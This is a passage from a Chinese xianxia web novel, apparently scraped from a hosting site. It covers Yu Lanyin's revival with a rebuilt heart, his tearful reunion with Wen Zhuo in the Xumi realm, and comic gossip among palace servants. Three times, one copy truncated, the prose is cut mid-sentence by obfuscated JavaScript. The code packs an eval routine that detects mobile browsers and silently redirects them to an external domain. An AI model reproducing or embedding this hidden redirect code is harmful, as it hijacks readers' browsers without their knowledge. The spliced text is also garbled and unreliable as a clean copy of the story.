可浅浅的胸口之下,咚,咚,咚。 是心啊。 在他兀自愣神的时候。 无边无际的黑暗深处,忽然传来几声细若蚊蝇的呼唤。 “长老……” “长老……醒醒了……” 是谁在叫他? 胸膛深处好烫。 烫到他感觉是有什么人撕开了他的胸口,往其中塞了一团火。 烧得他想要掉下泪来。 “长老……” 玉阑音猛然睁开了眼睛。 眼前的黑暗被光刃撕碎,骤然的光亮刺得他一皱眉。 很快有一只手虚虚地遮在了玉阑音的眼前。 手腕处衣袍挥动荡起一股清苦的药味。 是善玄吗。 玉阑音顿顿地想。 可是…… 我不是死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921802|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗。 玉阑音粗重的吸气呼气,带着肺部像破了的鼓风机一般呼啦作响。 “师尊。” 哦,是善玄。 “长老!” “长老,你终于醒了!” “长老!” 惹人烦的三道声响紧随其后。 都不必玉阑音费心去猜,准是镜遥、克古鲁和君少暄。 他微微地叹了口气。 ……居然还是这么恼人。 “无上长老。” 一道略显陌生的声音忽然响起。 玉阑音一愣。 这是…… 他顾不上眼前的光亮,慌忙想要去看。 只是就在玉阑音撑起身的一瞬间,忽然猛烈的头晕目眩袭来,一阵天旋地转,已经是脱了力再度昏迷过去。 玉阑音醒醒睡睡,等到终于能撑起身子完整地说几句话已经是五日之后。 “……哦,师弟啊?没误会,早就说开了。他这些年把厌族治理得井井有条,实实在在的大功一件,解了我们云州心头大患,我们哪敢怪罪他?给他单独史书一卷都嫌不够诚意。” 善玄一边给玉阑音剥着葡萄,一边有一搭没一搭地聊着。 玉阑音头嗡嗡得疼。 他不由地叹了口气,“……我的意思是,他现在在哪。别和我扯这些废话。” 善玄的表情忽然变得神秘莫测起来。 一把屎一把尿把善玄拉扯大的玉阑音当即警铃大作。 善玄道:“在须弥之地呢。” 玉阑音不信,“那你心虚什么?” 善玄立刻又露出了那副便秘的表情。 玉阑音阴恻恻一笑,“说不说?” “哎呀师尊,你有所不知啊,师弟他吧……” 善玄摸摸鼻子,“泓继那法子他打死都不试,非说你没死,但是这哪由得了他?于是我和少暄一合计,管他的呢,直接偷摸地去他宫殿里把师尊你的身体抢出来了……” 玉阑音听得眉心一跳,“抢出来了?” “偷。” 善玄又摸了摸鼻子,“偷出来了。” 玉阑音脸色一下子变得不太好。 “所以你同我说的这段时间外头雷雨交加……” “……当然是假的啦。” 善玄讪讪一笑,“是师弟他提着剑杀过来了,闹事呢。” “他人呢?” 玉阑音揉了揉眉心,“还不知道我已经醒过来了吗?” 善玄忽然十分不满地看了玉阑音一眼。 “当然还不知道了。我们一众人合力把他打回去了。” 他道,“我和少暄费心巴力地把你抢回来,恪心更是把蜀中那半间屋子都搬来了,聚灵阵画一个散一个,一个月没合眼才从阎王殿把你抢回来,岂是他说见就能见的?” 玉阑音听得心力交瘁。 他仰面平躺下,“那恪心是已经回蜀中了?我还没来得及同他道谢。” “没呢,没回。” 善玄道,“掌门亲自赏了恪心一支上古的骨瓷哨,说是功过相抵,破格让他回药谷重新修行了。” 玉阑音愣了愣。 许久,他才淡淡道:“嗯,挺好的。还是随着无妄修行?” “对,无妄本来就宝贝恪心恪云兄弟俩,如今他又把您救活了,双喜临门,那老小子高兴还来不及呢。” 善玄狗腿子似地笑道,“他这时候应该正随着那仨小子在山下给您买糕点呢。” 方才微微腾升起来的温情忽然破碎了。 玉阑音对于这三人买糕点的水平实在是不敢苟同。 上一回那花里胡哨五彩缤纷的“糕点”依旧历历在目,叫他不由自主地叹了口气。 他无力地翻了个身,随后无力地闭上眼,无力地指了指门外。 知玉阑音者莫若善玄。 善玄福至心灵,都没等玉阑音开口,忙不失迭识趣地搬着椅子圆润地滚走了。 95.山泉 玉阑音其实是有心早些去找温卓的,但到底还是身体亏空得久了,难免力不从心。 再加上他和他的心脏仅仅相处了七日,目前来说相性还不是很好。 这还要说到泓继贸然拜访十方宗的那天。 那日泓继忽然来到了十方宗,指名道姓地要见善玄。 善玄纳罕极了,他和泓继那简直是八竿子打不着的关系,满打满算也只见过两面,来找他能为何事? 可是泓继匆匆踏进房门,张口的第一句话就令善玄陡然正色。 “善玄长老,今日匆忙来访,多有叨扰。只是在下似乎有了能救太嵇真人的法子,不知善玄长老是否愿意一试?” 人死不能复生,此乃天道。 于是善玄不由地神色一变,“泓继掌门此言何意?” 泓继是个直性子,也没有要故弄玄虚的意思,很快就将自己的想法全盘托出。 依泓继所言,太阳能照耀之地皆受天道庇佑,天道昭昭不可违背,逆天道而行的死而复生之术自然是为天道所不容。 善玄几乎是瞬间便明白了泓继的言外之意。 “泓继掌门的意思是……” 泓继虚虚地一颔首。 太阳普照之地皆受天道庇佑。 那……太阳照不到的地方呢? 多亏如今人厌两族之间的关系堪称“甜蜜”,泓继对此颇为直言不讳。 “云州结界消散化为齑粉,但并不是完全没有办法重聚。若是借助厌族之力,将整个云州大陆视为法器,落下一个空前浩大的聚灵阵,真人的死而复生可能便不是空谈。” 善玄按耐住自己的激动,一而再再而三地确认这偏方的可能性,得到的都是泓继十分严谨的“有一定成功的可能”的回答。 但这并不影响善玄的欣喜若狂。 谁叫他居然真的认识一位聚灵阵的专家呢? 善玄和君少暄两人化了形冒着掉脑袋的风险,将那业火红莲的水床,连人带床地偷了回来后,便亲自跑到了蜀中,低头耷脑地诚恳地敲响了栾府的门。 毕竟十方宗和栾氏双生子一事闹得不太愉悦,结局也不甚圆满,于是善玄其实在敲门的时候已经做好了三顾茅庐的准备。 只是善玄没想到的是,这第一顾,栾恪心便连夜收拾好了行囊,直接把整个栾府装进了识海,主动催促善玄上路了。 栾恪心做法的那一个月,善玄一行人也帮不上忙。 为了图一个心理安慰,便天天在屋里上香拜佛,直到他们发现这香熏得栾恪心直打喷嚏,这才讪讪地作罢。 总而言之,经过一个月不舍昼夜的努力,一群人终于是靠散落云州大地的结界齑粉勉强凑出了一个心脏。 ——不过玉阑音对此似乎并不太领情。 习惯了胸膛之内一片寂静,如今乍然有个特别活泼的东西在里头咚咚咚响个不停,玉阑音烦都快烦死了。 那心跳的声音太大,不是扰得他睡不着觉,就是把睡梦中的他吵醒。 短短几日下来,已经把大病初愈的玉阑音摧残得险些神经质。 “善玄,我的心在跳。” 饭桌上,玉阑音忽然搁下了玉箸,道。 “……师尊啊,心跳才是正常的。” 善玄叹一口气,十分熟练地将玉箸塞回了玉阑音手里,“吃饭吧。” 玉阑音顶着硕大的两个黑眼圈点了点头。 善玄上上下下打量了玉阑音一番。 第一百次地叹了口气,“好了好了,这就送你去须弥之地行了吗?别磨我了。” 得了这话的玉阑音终于展露了笑颜。 头不疼了心不跳了,心情愉悦地老老实实开始吃饭。 同欢天喜地的云州大陆不同,此时的须弥之地气压极低无比。 ——因为他们那位喜怒无常的厌族尊主又又又又发疯了。 整个夜雀宫整日整夜尽是箭矢兵戈之声,叮当玉器破碎之声,扰得整个须弥之地风起云涌,高空深处轰鸣雷声阵阵,仿佛随时就要有横祸降下。 原本须弥之地街道上脚不着地飘荡的魑魅魍魉,此时已经悄无声息地藏到了别处。 大街小巷的店铺也关得七七八八,生怕自己成了烧着的城墙旁水池里的鱼,惹火上身。 夜雀宫里头侍奉的那群中阶厌族更是有过之而无不及。 栀子此时正战战兢兢地躲在伙房里和燕一咬耳朵。 “……燕侍卫,你离尊主更近,尊主最近这是怎么了啊?” 栀子小声问道,“屋子里头的东西都砸干净了,书房也被烧了……” “那我怎么知道啊,我就只敢在外头远远地看,换成是你,你敢进去?” 燕一作了个抹脖子的动作,“生怕自己脑袋长得太结实了?” 栀子立即脖颈一凉,忍不住瑟缩一下。 “诶,不过你之前不是还说尊主和左护卫关系不一般吗?这几天的左护卫快被尊主揍死了,咱们做手下的这些人里,唯一一个挨揍的就是左护卫,脸上没有一天不带着伤……” 燕一尴尬地一笑。 “这个……爱之深恨之切嘛,有可能是俩人最近闹别扭了也说不准呢……哈哈。” 这话说出来燕一自己都觉得心虚。 他摸了摸鼻子,很快就调转了话题,“尊主前些日子不是又提着剑去云州大陆了吗?今天还没回来呢?” “回来了啊,早上回来的,你当时在外头巡逻,没看见。” 栀子四下看看,把声音压低了几分,“哎哟那身上……啧啧啧啧,一身血啊,走起路来身后全是血脚印,估摸着身上没几块好肉……” 燕一“啊”了一声。 “尊主大概正在夜雀宫后头的山泉里疗伤呢,如今一时半会儿应该也顾不上咱,也算是好事一桩。” 栀子安抚似地拍了拍燕一的肩膀,“不然咱俩这么嚼舌根子,都不用说尊主,左护卫都该把咱俩砍掉头了。” 燕一深以为然。 “还真是。左护卫长得那么漂亮,和神仙似的,任谁也想不到他这人居然这么蛇蝎心肠,做起事来比尊主还狠……” 栀子吓得直捂他的嘴。 “慎言!燕侍卫!尊主是顾不上咱了,咱英俊潇洒左护卫可还是在夜雀宫里耳听八方呢!莫要胡说了哈!” 俩人冷汗连连,很快眼观鼻鼻观心,一个专心致志切菜,一个故作镇定地巡逻去了。 后山。 由于须弥之地终日不见阳光,山上的植被大多生得不算高大,充其量也不过是些潮湿的苔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温卓一遍一遍地提醒自己。 这些都不是他。 他只想等到他走来。 身后忽然传来一阵窸窸窣窣拨开灌木和荆棘条的声音。 那声音如一柄利刃破开了干燥的空气,清清楚楚地传入温卓的耳中。 随后是一声微不可闻的、带着浅笑的抱怨,“嘶,好扎人。” 温卓的呼吸不受控地一滞。 他忽然听不见周边那无数个“玉阑音”恼人的叫唤了。 世界的时钟似乎就在这一瞬间停摆。 身后来人在走近他。 脚步一声一声,无比清晰。 随着他的心跳,一下,两下,无比震颤。 这是他再熟悉不过的脚步。 也是他曾发誓要带进自己墓棺的,最悲哀的,最刻骨铭心的爱。 山泉自高山之上而来,水流坠落深潭,比起哗啦之声,更似叮咚悦耳的歌曲。 温卓睁开了眼睛。 他的眼眸猩红一片,没有光亮,却也不似完全无情。 他只是木然地等待。 直到身后那人的脚步声停了。 他的声音含着笑,略含混地喊了他一声。 “温卓。” 96.心魔 “温卓。” 山泉深潭中打坐的温卓身上不断地往外渗着血。 可是他感觉不到一点疼痛。 ……好奇怪。 这个心魔为什么会叫他温卓呢。 又为什么…… 让他破天荒地心脏一紧,又僵直了脊背呢。 谁能想到,一向天不怕地不怕的温卓此时连头都不敢回。 因为一些隐秘又执拗的私欲,他其实从来不肯给任何一个心魔任何一点回应。 他是那么惧怕遗忘,惧怕替代,惧怕随着时间的流逝,爱也会逐渐流逝。 可是…… 温卓发起抖来。 可是他这次是真的…… 真的很想回头去看看。 这个心魔明明连最简单的“假扮”都做不好。 但他为什么这么迫不及待地想要转过头去见一见他呢?就好像…… “温卓?” 玉阑音久久没能得到回应,不由纳罕地又叫了他了一声。 他清了清嗓子,又摸了摸自己的脸。 ……正常啊。 又不是年老色衰了,嗓音也无甚变化,怎么还叫不动这个小崽子了? 难不成…… 玉阑音的笑意微微一僵。 ……是这天杀的玩意儿移情别恋了? 玉阑音是个越生气越和颜悦色的性子。 于是如此想着,一双笑眼却眯得更甚。 谁家的小贱蹄子,怕不是真以为他这前云州上仙老得提不动刀了? 哈,保准给他一对儿比翼鸟乱棍打成苦命鸳鸯,有一个算一个,有两个算一双,统统打下地狱去! 可是,还没等他笑眯眯地把地狱八十酷刑数完一个遍,前方水中湿漉漉的温卓忽然猛地转过了头。 方才飘荡到地狱里头幻想的泡沫“啪”得一声碎了个细碎,玉阑音只一瞬便调转了口风。 他秀眉一蹙,“你怎么了?受伤了?” 温卓左脸颊上一道触目惊心的伤口,此时没有任何愈合的迹象,正汩汩地往外淌着血。 除此以外,他宽阔精壮的胸膛之上细密的伤口密密麻麻,甚至不乏深刻的贯穿伤。 玉阑音倒吸了一口气。 他再顾不上别的了,立刻上前去,小心翼翼地托起温卓的下巴。 “怎么伤得这么重?” 玉阑音眼中满是心疼,眉眼低垂,“都是善玄做的?那小子明明和我说你只是受了些皮外伤!” 遥远的十方宗之上,善玄结结实实地打了个喷嚏。 正练着剑的镜遥立刻停下了手里的动作,有些担忧地看向他。 “善玄长老这是着了风寒了?这段时间天气冷暖交替,好多师兄师弟们都受了凉,长老可要小心啊。” 善玄顶着鸟窝似的头发,擤了一把鼻涕大咧咧地甩甩手。 “没有的事,准是你那坏得流油的无上长老又偷摸骂我了。”他道,“别管他,咱继续练功。” 话是这么说,善玄心中可谓是冷笑连连。 还能是为什么? 必然是他看见温卓那一身伤了,打心眼里咒骂他呢呗! 善玄撇起嘴啐了一口。 对于温卓,善玄嘴上说着不记恨、旧事翻篇了,但动手的时候谁还管这个! 俩人你不让我我不让你,下得可全都是死手! 要不是他是个药术师,恐怕这时候断了的那条胳膊都还不知道在哪呢! 我呸! 亲疏有别啊,亲疏有别啊! 镜遥看着他这位新师尊旁若无人扭曲的脸,只不发一言乖巧地拎起自己的剑。 ……小的还是老老实实练剑吧。 玉阑音默默在善玄的账本上添了一道。 他叹口气,抬手想要伸手擦去温卓脸上的水珠。 可哪想温卓忽然像是受到了莫大的惊吓,猛地从水潭中站起了身。 “哗啦”一声,激得水潭的镜面破碎一片。 他似是避豺狼虎豹一般,近乎惊慌地向后退,躲过了玉阑音将伸出的手。 于是玉阑音的手便这么尴尬地停在了半空。 良久,他的手指一蜷缩。 “温卓?” 温卓原本便通红的双目此刻像是在滴血。 他微微张着嘴,一进一出呼吸极为不规律,又粗又重。 ……太像了。 温卓贪婪地将目光长久停留在面前这个心魔的身上。 太像了。 无论是衣着还是面容,轻而上扬的江南口音,甚至是连记忆中都已经不再清晰的细节。 都太像了。 温卓忽然察觉到了身上的伤口的隐隐作痛。 远处圆石旁沏茶的“玉阑音”不知何时已经不见了。 在他身边缠绕了他十年之久的数十个心魔 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他只是轻轻地一垂眼,就有一串滚烫的珠子顺着脸颊滑落。 嘀嗒。 无声的汇入冰冷的山泉的流。 却响彻心扉,震耳欲聋。 “莫不是疯了。” 温卓说话的鼻音很重,像是怕震碎眼前镜花水月一般,声音低得宛若呢喃,“我怎么看见你了。” 他的神情忽然晦涩难辨,僵硬地扯了扯嘴角,眼角却又要淌下泪来。 “可是我明明连做梦都不敢做这样的梦啊。” 随着温卓的话音落下,满眶的眼泪终于寻到了情绪的出口,轰然决堤,一泻千里。 即使温卓已经抽噎着哭成了一个孩子,却依旧固执地不敢伸手触碰玉阑音。 哪怕是一下。 直到玉阑音轻轻地伸手勾住温卓的脖颈,将冰冷到颤抖的他按进自己的怀里。 温卓埋在颈窝,大概是混着哭声说了很多很多想念。 可玉阑音一句都没听清。 他们之间甚至没有交换过任何一个吻,可无边的爱意与思念却分毫未减。 顺着一湾清泉和一串串的泪珠,肆意地疯长。 97.话本 玉阑音如今大病初愈,身上经脉也只通了个七七八八。 别说熟练地使用法术了,连在身体里运行个大周期都费老鼻子劲。 于是在如此先进的修仙时代,玉阑音一介药郎,使用的居然还是朴素的草本包扎。 可谓是大道至简。 “……我手若是重了便和我说。” 玉阑音一边给温卓缠着绷带,一边轻声道,“有段时间没给人上过绷带了,难免手生。” “嗯。” 温卓的目光一瞬不瞬地追随着玉阑音,对自己被绷带勒得出血的伤口不甚在意。 直到这场大汗淋漓的包扎结束,玉阑音总算是松了口气。 他擦擦鼻尖上微小的汗珠,心中则是十分无奈地轻笑。 玉阑音啊玉阑音,你可真是越活越倒退了。从前开胸破腹疗伤的情况都时有发生,如今这人身上只是皮外伤口,居然就叫你手抖得拿不稳绷带了。 他垂头收拾着自己的药包,一边含混地同温卓聊起天来:“有段日子没来过了,这夜雀宫怎么这么安静了?从前的下人们呢?” “看着烦,杀光了。” 温卓此时满心都扑在玉阑音身上,他直勾勾盯着精致的侧颜,直到这话无意识地脱口而出后,才猛然回神。 “不是,阑音,我是说……” 他像是做了错事惊慌失措的孩子,惶恐地连忙去看玉阑音的眼睛。 他试图从玉阑音不悲不喜的眼眸中寻找他并未对自己失望的证据。 可是他只是刚一抬眼,便跌跌撞撞摔进了一湾笑盈盈地深湖。 “嗯,无碍。杀便杀了。” 玉阑音同温卓血色的眸对视,笑道,“改朝换将常理所在,谁能保证达奚恩山手下的人不生异心呢。你做得很好。” 那湖水深不见底,却无比宽敞厚重,如同高空坠落之时一双巨大而柔软地手,轻轻地将他托起。 叫温卓心下一阵失重的酸胀。 这种被承托的感觉太久远、太心动了,一瞬间几乎让温卓误以为自己已经是死了。 “阑音……” 温卓声音沙哑地唤了他一声。 玉阑音正巧把药包撞进识海。 他看温卓一眼,揶揄道,“怎么好久不见,这么磨人了?” 温卓笑了一下。 他果然还是不会做这么不真实的美梦。 “没怎么,就是叫叫你。” 温卓道。 当晚,夜雀宫的下人们都听到了里屋的内室,令人面红耳赤的声音不间断地响了一整晚。 燕一在第二日耳朵红红地和栀子打赌,打赌屋里头的一定是左护卫。 结果就在当日未时,左护卫乌鸦因为强制征税掀了长街铺子,被温卓当场下令处死,当街斩首。 夜雀宫里的下人是整个须弥之地最后直到这个消息的。 而毫无疑问,燕一则是夜雀宫里所有人中最震惊的。 “……啊?” 燕一惊得老半天收不回下巴,“昨晚还情浓意浓的,怎么今日就处死了?” 一旁的陆回撇了撇嘴。 “那不挺好?”他道,“别看那天杀的乌鸦在尊主面前战战兢兢,朝着我们完全是另外的嘴脸。死得真好、真痛快!” 栀子听得直笑。 “哎呀我早就和你说了,燕一,”她老神在在地抱臂,“尊主整日看左护卫的眼神和瞧死人似的,哪来的情浓意浓嘛。” 三个人头碰头咬耳朵,你推我搡,乐成一个蛋。 “……不好意思。” 就在这时,一道略显陌生的声音神不知鬼不觉地在不远处响起。 那声音极为温和内敛,又带了两分克制的笑意,听得三个人只觉得心尖上像是有早春的小风在柔柔地吹。 栀子直接被撩拨地起了一身鸡皮疙瘩。 “……靠,我怎么居然听见左护卫的声音了……” 看来是太过操劳、精神衰弱了。 她自嘲地一笑,甩甩脑袋,伸个懒腰,下意识朝燕一看去—— 燕一的脸已经白得像纸。 “燕一?” 栀子被吓了一跳,“你怎么了?又犯心悸了?今天没按时服药?” 紧接着,她看见陆回的脸也刷得白了。 “嗯?你也得病了?一个两个怎么了这是?” 栀子害怕了,连忙往后撤步,试图躲得远一点,“……苍天在上,天道昭昭,这可不关我的事啊,真是他们两个自己变成这样的啊……” 可是退着退着,她忽然感觉到自己的背撞上了什么东西。 不算太硬,怪软和的,还虚虚地撑了她一把—— 栀子脑子又不笨,立刻反应过来了。 靠,这是撞着人了。 “……哦,哦,这位大人,真是不好意……” 她愧疚地连连弯腰,转身就开始苦哈哈地道歉。 可这真心实意的道歉,却在她抬头看见来人的一瞬间,戛然而止。 随后,栀子的脸色瞬间褪了个干净,比燕一和陆回加起来还白。 进的气不如出的多,栀子两眼一翻就要晕过去。 “姑娘小心。” 玉阑音离栀子最近,立即伸手接住了她,“您没事吧?” “……诈、诈尸了……” 燕一嗫嚅地指着玉阑音,“诈尸了!” “啊啊啊啊啊啊!” “啊啊啊啊!” 燕一和陆回两人吓得眼泪都飙出来了,相对跪坐,抱头痛叫。 这可把玉阑音闹得好一阵摸不到头脑。 终于,她怀里的栀子瑟瑟地叫了一声,“左、左护卫……” 玉阑音一愣,“嗯?” 栀子当即哭出来了。 “左左左护卫,您大人有大量,大人有大量!饶我了吧!我们刚才那真是心魔上身了、失了智啊!不是真心话啊左护卫!” “左护卫?” 玉阑音恍然大悟地轻笑一声,“你是说……乌鸦?” “对,对,正是乌鸦殿下您……” 栀子想也不想,各种称谓都胡乱地捡着好听的叫个不停,蓦地,她秀眉一蹙,猛地怔住了,“……啊?” 玉阑音笑了。 他一笑起来远山黛眉弯弯,一双眼睛像是一湾深湖,盛满好酒和月光,能叫人醉得不成样子。 眼角弯弯的,嘴角也弯弯的…… 特别漂亮。 ……总之。 忽然和那见风使舵的劳什子乌鸦一点也不像了。 栀子被那笑晃了眼,一时血气上涌,把她那扁扁平平的脸涨得通红。 玉阑音彬彬有礼地将栀子扶了起来。 一边笑道:“我不是乌鸦。” “……啊?啊……对,对,您肯定不是那狗日的乌鸦……” 栀子呆愣愣地看着玉阑音,舌头一个劲地打结,“那乌鸦哪有您半分神貌?您可真像是神仙啊,您可真是好漂亮啊……” 这真情流露的表白的话还没说完,她忽然就被一阵挺猛的风掀飞了。 “……哎哟!” 栀子慌乱地从地上打了两个滚卸了力,拍拍屁股站起身,生气了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14939079|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谁啊! 居然叫他在漂亮的神仙哥哥面前丢了人! “……靠!哪个不长眼的……靠!” 栀子“噗通”一声,利利落落直直地跪下,哐哐三个响头,“……尊主!” 温卓走到玉阑音身边。 脸色不是很好地睨了栀子一眼。 燕一和陆回终于停下了鬼哭狼嚎,同样拿膝盖吧嗒吧嗒地跪着挪到温卓面前,一边哭一边嘹亮地大喊。 “尊主!诈尸啦尊主!” 温卓的面色更加不善。 “我何时诈尸了?说话真是好难听。而且阑音也从来没有死,我说过的。他没有死。” 玉阑音头疼地按了按眉心。 “……多大的人了。” 他叹了口气,手中的竹扇不轻不重地敲了下温卓的手背,“德行。” 温卓从善如流地捉过他拿竹扇的手,捏了两下。 “你怎么来这里了?怎么不多休息会儿?身体可有不适?” 地上跪着的三个小兵俑大气都不敢喘。 他们已经说不准自己这到底是耳朵出毛病了还是快死了。 ……您好?眼前这牵着别人手,黏黏糊糊念经的人是哪位? 是他们尊主吗? “……别吵。头疼。” 玉阑音一个头两个大,被温卓的连环问问得嗡嗡响。 他十分不好意思地朝地上跪拜的三组行了个云州中原礼,一笑,“抱歉,打扰各位了。” 随后拉着温卓就要走。 温卓有点不爽了。 他板着脸不容反抗地拉住玉阑音,朝着燕一等人正色介绍:“你们尊主夫人。” 玉阑音听得心里头“嘶”一声。 一时间只感觉自己一张老脸要丢尽了。 过去怎么不知道这家伙这么幼稚啊! 他僵硬着脸朝栀子他们一颔首。 顾不上温卓了,拿自己宽大的袍袖挡着脸,疾步跑走了。 温卓朝玉阑音离去的方向看去,很快收回了目光。 随后若有所指朝栀子看了一眼,扬着下巴语气奇妙地道:“摆清自己的地位,居然连本尊的墙角也敢撬。” 一群人刚从“尊主夫人”的震惊中回过神来,一时又被这句话炸得五雷轰顶。 “是是是,是。” 栀子连连说是,“没有下次了,没有下次了。尊主夫人万岁万岁万万岁。” 温卓“哼”了一声,没再理会他们,转头追玉阑音去了。 “……阑音,你走反了,夜雀宫在这边……” 栀子目送着他们的尊主远去,不是很懂地挠了挠头。 “尊主……心情不错?” 燕一一副“你这就不懂了吧”的表情。 “栀子啊,我感觉我悟到了。” “悟到什么了?”栀子不耻下问。 “你说得对,尊主和乌鸦那是假的。乌鸦就是云州那边常说的那个什么……替身,替身文学。” 燕一说着,从怀里鬼兮兮地掏出一本话本,“我前些天托人从那边买来了话本,里头正好就有这个……” 栀子和陆回齐齐一捂嘴,轻声惊呼。 “啊!你也去那道上买东西了!” 燕一得意地一笑,“那是。不过不准和别人说啊。” 于是他们三个人跪在一起,头顶着头,凑得严丝合缝,借着这个姿势挤在一块儿,就这么偷偷摸摸、旁若无人地看起话本来。 乐得咯咯直笑。 反正……尊主今日心情好嘛。 栀子乐呵呵地心想。 98.句点 总而言之,玉阑音就这么大张旗鼓地入住夜雀宫了。 并且逐渐凭借着个人魅力俘获了夜雀宫一众侍奉的芳心——尽管这可怜巴巴的宫殿里的侍奉屈指可数。 只一个宫殿大管事栀子——包拦了上至衣食住行、下至扫地洗碗的所有杂活累活——再就只还有一群侍卫。 要说他们有多喜欢他们尊主夫人呢? 那可真是苍天可鉴,明月可察,感天动地,催人泪下。 先不说他们这尊主夫人神仙下凡貌美如花,谁能不稀罕? 细皮嫩肉到他们要担心自己爪子碰他一下就能拉个大口子,一副云州地界娇生惯养的少爷相,别提多喜人了。 而且这最重要的是,自从他们尊主夫人来了之后,他们尊主简直是大变活人。整个须弥之地从地狱进天堂,不外如是。 什么喜怒无常?什么阴晴不定?什么神出鬼没? 统统不是了! 从前有人想找他们尊主,栀子还得费心好一通描述:啊,就是那个长得最凶的、穿得最漂亮的、脸最像刀削的那个。 现在,嘚,再也不用花心思去找了,逛逛夜雀宫,最能呲着大牙傻乐的那个准是! 整日喜笑颜开,对谁都是一副“好好好”的好脸色。 整个须弥之地可谓是河清海晏,天下太平。 对此,须弥之地各位厌族人士表示:没过过这种好日子。 整日接受上头尊主拨的救济款,过得越来越阔绰不说,民风也越来越开化,如今长得人模人样的高阶厌族,和云州人通婚的例子都有了不少。 毕竟……这上行下效嘛。 栀子仗着自己在夜雀宫“权力大”,总偷摸地滥用职权,钻进玉阑音房里听玉阑音讲故事。 听他东拉西扯,从一千年前讲到现在,什么都能说上两句。 “……靠!原来乌鸦是肉灵芝化的形啊!” 栀子惊呼,“我说他怎么和您长得那么像!像到咱尊主十年啊,十年都没舍得杀他!整个夜雀宫,达奚尊主的手下,就留了他一个,这不就是因为想您呢吗!” 玉阑音耳朵一动。 他佯装无意地笑眯眯问道:“他平时对乌鸦如何?” “您说尊主啊?哎,您别听燕一胡说,我仔细看过,非常、非常不怎么样。” 栀子诚实道,“也就燕一那死猪眼睛觉得他和咱尊主有一腿,咱尊主每回看他的眼神都恨不得能杀了他好不好啊!” 玉阑音骄矜地点了点头。 “哦,这样啊。” 两人随后又谈天说地地侃了几句。 最终以温卓提着栀子的领子将他扔出去作为结局结束。 不过这种日子也只是持续了一小段时间,毕竟须弥之地灵气稀薄,不利于玉阑音养病。 温卓很快便带着自己的家业轰轰烈烈地回云州去了。 回到十方宗,温卓先后挨了善玄、秦鹤生、秉文、克古鲁、镜遥、君少暄、崇本、无妄、与徵的一人一顿揍。 ——这回是真的挨揍,温卓一次都没回手,回回是以玉阑音看得心疼,作为权威的中间人士调停作罢。 “……如今恪心又随着无妄修习了,就在药谷,你有空便去看看他罢。” 温卓始终惦记着玉阑音对他的嘱咐,今日终于提上自己埋了四十年的桂花酿敲响了栾恪心的房门。 屋内的栾恪心很快就开门了。 像是提前知道了来人是谁一般,面上未有半分诧异,露出了故人相见时特有的笑容,“来了啊。” 温卓点点头,“嗯,来了。” 他刚一进屋,目光不经意一扫,恰巧看见了栾恪心房内充当聚灵阵阵眼的泰山石,一愣。 栾恪心注意到他目光停留之处。 “它啊,还是当时你从栾府见到的那个,”他笑了,“不过多亏了尊主你,这玩意儿如今已经不算是禁术了。” 栾恪心看看温卓,又重新将目光转向那个带来了无数好运和厄运的泰山石。 “若你能早生几十年该多好啊。” 他的语气和他这个人一样,几乎没有什么外显的情绪。 不是叹惋,也不是埋怨,似乎只是话已至此,他便顺嘴提了一句,仅此而已。 温卓恍然回神。 他想到了什么,很快从识海中取了一只其貌不扬的小夜莺。 栾恪心愣了一下。 “给我的?”他看看夜莺,随后摇了摇头,“我不养宠物的。” 不过很快他便发现,温卓对于这件事情似乎由着不同寻常的执着。 温卓十分固执地又将夜莺往自己脸前一送,那夜莺也十分通人性地停在他的指尖,歪了歪头。 “他……” 温卓努力地寻找更好的措辞,“如果你想、如果……他也想的话,他可以修炼,作妖修,化形、延年益寿,同我们人类无甚区别。” 温卓的这段话前言不搭后语,不明所以。 可不知为何,栾恪心的心随之猛然砰砰跳起来。 他从来都不喜欢小动物。 可是不知是因为有了什么预感,又或者只是鬼使神差,他伸手接过了这只夜莺。 尽管栾恪心是个陌生人,但这只夜莺在他手中也十分乖巧。 甚至轻轻啼叫了一声,尽管不太明显。 栾恪心垂着眼睛看了看这只灰扑扑的小鸟。 “他……叫什么名字?” “恪云。” 话音将落,温卓便看见栾恪心的眼睫忽然扑簌簌地扇动起来,“他叫恪云。” 大概是沉默了很久很久,栾恪心终于动了。 他飞快地眨了眨眼睛,“哦。好名字。” 温卓不胜酒力,栾恪心也鲜少饮酒。 可是当晚,温卓带来的一整坛桂花酿却一滴没剩。 第二日,当温卓头晕目眩地从栾恪心住处踉跄出来的时候,他看见,门口的桂花树叉上已经被板板正正地塞进了个鸟窝。 ——这鸟窝显然是有哪个喝醉了的人徒手搭的,粗糙得很,一看便不是小夜莺自己的手笔。 不是我搭的。 温卓想。 这段时间,玉阑音在十方宗乖乖地养着身体,和那久违的心脏相处得越来越好。 具体体现在不再嫌它跳个不停或是嫌它吵了。也算是某种长足的进步,可喜可贺。 不过坏就坏在玉阑音是个按不住的性子,养病路上最大的绊脚石便是他自己。 这不,这身体才刚有了起色,他便已经开始琢磨着如何作妖了。 善玄也劝不住玉阑音,于是玉阑音就这么大大方方领着温卓去了一趟玄天门。 同泓继简单打过了招呼,随后恭恭敬敬地给元宿央和拢虚一人上了三炷香。 